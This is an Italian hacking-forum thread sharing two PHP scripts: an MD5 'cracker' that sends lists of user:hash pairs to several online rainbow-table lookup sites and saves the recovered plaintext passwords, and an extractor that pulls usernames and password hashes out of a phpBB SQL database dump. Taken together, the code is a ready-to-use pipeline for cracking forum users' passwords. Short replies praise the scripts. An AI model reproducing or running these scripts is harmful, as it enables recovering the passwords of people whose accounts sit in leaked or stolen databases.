Crittografia MD5 Cracker + PHPBB MD5 Hash Extractor

Stato
Discussione chiusa ad ulteriori risposte.

murdercode_imported

Utente Electrum
10 Giugno 2007
174
11
4
101
[size=x-large][align=center]MD5 Cracker[/align][/size]
Inserite la hash e lo script andrà a selezionare una lista di siti con RT , quindi controllano se la hash esiste o meno .

PHP:
<?php 
/** GData/rednoize/schwett/crysm MD5check file from file by SeventotheSeven([email protected] 

* Hash file should be structured with one user:::::hash on each line 

* Usage: php sevmd5.php [hashes_file] [output_file] 

* Ex: hashes.txt 

* user1:::::ed95e6c9dec8a246e3841afcfb096f27 
* user2:::::f38ee16864c4e660ac5819951f2114e4 
* user3:::::d9e74f47610385b11e295eec4c58d473 
* user4:::::7a46aa761b4b567d824c809b802622e8 
* user5:::::1b56507dc48e69b8d03b9059b7f42b01 
* user6:::::6d47c2d7eb97577f44e39cf740655270 
* user7:::::357b64393204e754d2717c28a792a47f 
* etc.. 
*/ 
echo "\n ****************************************************************"; 
echo "\n * GData/rednoize/schwett/us.crysm MD5check file *"; 
echo "\n * __. , , . __. *"; 
echo "\n * (__ _ . , _ ._ -+- _ -+-|_ _ (__ _ . , _ ._ *"; 
echo "\n * .__)(/, \/ (/,[ ) | (_) | [ )(/,.__)(/, \/ (/,[ ) *"; 
echo "\n * *"; 
echo "\n * Shouts to: Emosewa, Nate, ://lion, Dyren, PR *"; 
echo "\n ****************************************************************\r\n\n"; 

//Checks for proper syntax 
if(!$argv[2]) echo " [7]Usage: php sevmd5.php [hashes_file] [output_file]\n [7]Example: php sevmd5.php hashes.txt completed.txt"; 

else{ 

//set variables 
$file = $argv[1]; 
$hashes = file($file); 
$fileout = $argv[2]; 
$output = fopen($fileout, 'w'); 

//rednoize (borrowed from Ben Ramsey) 
function sev_rednoize($ssev){ 
global $seve; 
$xml = simplexml_load_file("http://md5.rednoize.com/?q={$ssev}&xml"); 
$seve = (string) $xml->ResultString; 
if (strlen($seve) > 0){ 
return $seve; 
} 
return ""; 
} 
//schwett (borrowed from Ben Ramsey) 
function sev_schwett($ssev){ 
global $seve; 
$xml = simplexml_load_file("http://www.schwett.com/md5/xml.php?hash={$ssev}"); 
$seve = (string) $xml->password->cleantext; 
if (strlen($seve) > 0){ 
return $seve; 
} 
return ""; 
} 

//GData/md5.crysm(SeventotheSeven) 
function conn($host,$sev){ 
global $sevdat; 
//Send request and store results in $data 
$sevdat=""; 
$sendsev = fsockopen(gethostbyname($host),"80"); 
if(!$sendsev){ 
die("Connection to $host failed..."); 
}else{ 
fputs($sendsev,$sev); 
} 
while(!feof($sendsev)){ 
$sevdat .=fgets($sendsev); 
} 
fclose($sendsev); 
return $sevdat; 
} 

//foreach loop to read each hash 
foreach($hashes as $md7) { 
$md7 = explode(":::::",$md7); 
$user = $md7[0]; 
$md7 = $md7[1]; 
$md7 = str_replace(" 
", "", $md7); 
//construct GET request for GDATA 
$sev = "GET /qkhash.php?mode=txt&hash=$md7 HTTP/1.1\r\n"; 
$sev .= "Host: gdataonline.com\r\n"; 
$sev .= "Referer: http://gdataonline.com/seekhash.php\r\n"; 
$sev .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"; 
$sev .= "Connection: close\r\n\r\n"; 
//call on function 
conn("gdataonline.com",$sev); 

//parse the hash from $sevdat 
$firstdat = explode($md7."</td><td width=\"35%\">",$sevdat); 
$seconddat = explode("</td></tr>",$firstdat[1]); 
$seven = $seconddat[0]; 
$seven = str_replace("", "", $seven); 
$seven = str_replace("", "", $seven); 
$seven = str_replace(" 
", "", $seven); 

//Check to see if GData worked 
//it didn't 
if(substr($seven,0) == "????"){ 
//call on function for rednoize 
sev_rednoize($md7); 
//call on function for schwett 
if($seve==""){ 
sev_schwett($md7); 
} 
//crysm 
if($seve==""){ 
//construct GET request for us.md5.crysm.net 
$sev = "GET /find?md5=$md7 HTTP/1.1\r\n"; 
$sev .= "Host: us.md5.crysm.net\r\n"; 
$sev .= "Referer: http://us.md5.crysm.net/\r\n"; 
$sev .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"; 
$sev .= "Connection: close\r\n\r\n"; 
//call on function 
conn("us.md5.crysm.net",$sev); 

//parse the hash from $sevdat 
$firstdat = explode("<ul>",$sevdat); 
$seconddat = explode("</ul>",$firstdat[1]); 
$seven = $seconddat[0]; 
$seven = str_replace("<li>", "", $seven); 
$seven = str_replace("</li>", "", $seven); 
$seven = str_replace(" 
", "", $seven); 
} 

if($seve=="") $seven = "Not Found."; 
} 

//Display Hash 
echo " [7]Hash: $md7\n [7]Plaintext: $seven\n\n"; 

//Only write to file if hash collided 
if($seven != "Not Found.") fwrite($output, "$md7:$seven\r\n"); 


} 
echo " [7] Output file: $fileout\n"; 
fclose($output); 
} 
?>

[size=x-large][align=center]PHPBB MD5 Hash Extractor[/align][/size]
Questo script invece vi permette di estrarre una Hash direttamente dal PHPBB .

PHP:
<?php 
/** phpBB SQLDump MD5 Extractor by SeventotheSeven([email protected]) 
* -For use with MD5check 
* -Output file: user:::::hash 
* Usage: php sevextract.php [phpBB_SQL_file] [output_file] 
*/ 
if(!$argv[2]) echo " [7]Usage: php sevextract.php [phpbb_sql_file] [output_file]\n"; 

else { 
echo "\n ****************************************************************"; 
echo "\n * phpBB MD5 Extractor *"; 
echo "\n * __. , , . __. *"; 
echo "\n * (__ _ . , _ ._ -+- _ -+-|_ _ (__ _ . , _ ._ *"; 
echo "\n * .__)(/, \/ (/,[ ) | (_) | [ )(/,.__)(/, \/ (/,[ ) *"; 
echo "\n * *"; 
echo "\n * Shouts to: Emosewa, Nate, ://lion, Dyren, PR *"; 
echo "\n ****************************************************************\r\n\n"; 
sleep(1); 

//define variables 
$sqlfile = $argv[1]; 
$lines = file($sqlfile); 
$outfile = $argv[2]; 
$outwrite = fopen($outfile, "w"); 

//foreach loop to read every line of the file 
foreach($lines as $line) { 
//parse user and hash from line 
$line = strstr($line, 'VALUES'); 
$lin = explode(",", $line); 
$username = trim(str_replace('\'','',$lin[2])); 
$md7 = trim(str_replace('\'','',$lin[3])); 
$result = "$username:::::$md7\r\n"; 
//write user and hash to output_file 
if($md7 != "") { 
fputs($outwrite,"$result"); 
echo " [7]user:$username\n [7]pass:$md7\n"; 
} 
} 
echo "\n [7]Hash file: $outfile\n"; 
fclose($outwrite); 
} 
?>
 
c vorrebbe in sottofondo la canzone "thats the way ahaha i like it ahahah"
bello cmq ce l'avevo già ;)
 
veramente ottimi! complimenti agli autori ed a Murder che li ha postati!!! :grin1:
 
Stato
Discussione chiusa ad ulteriori risposte.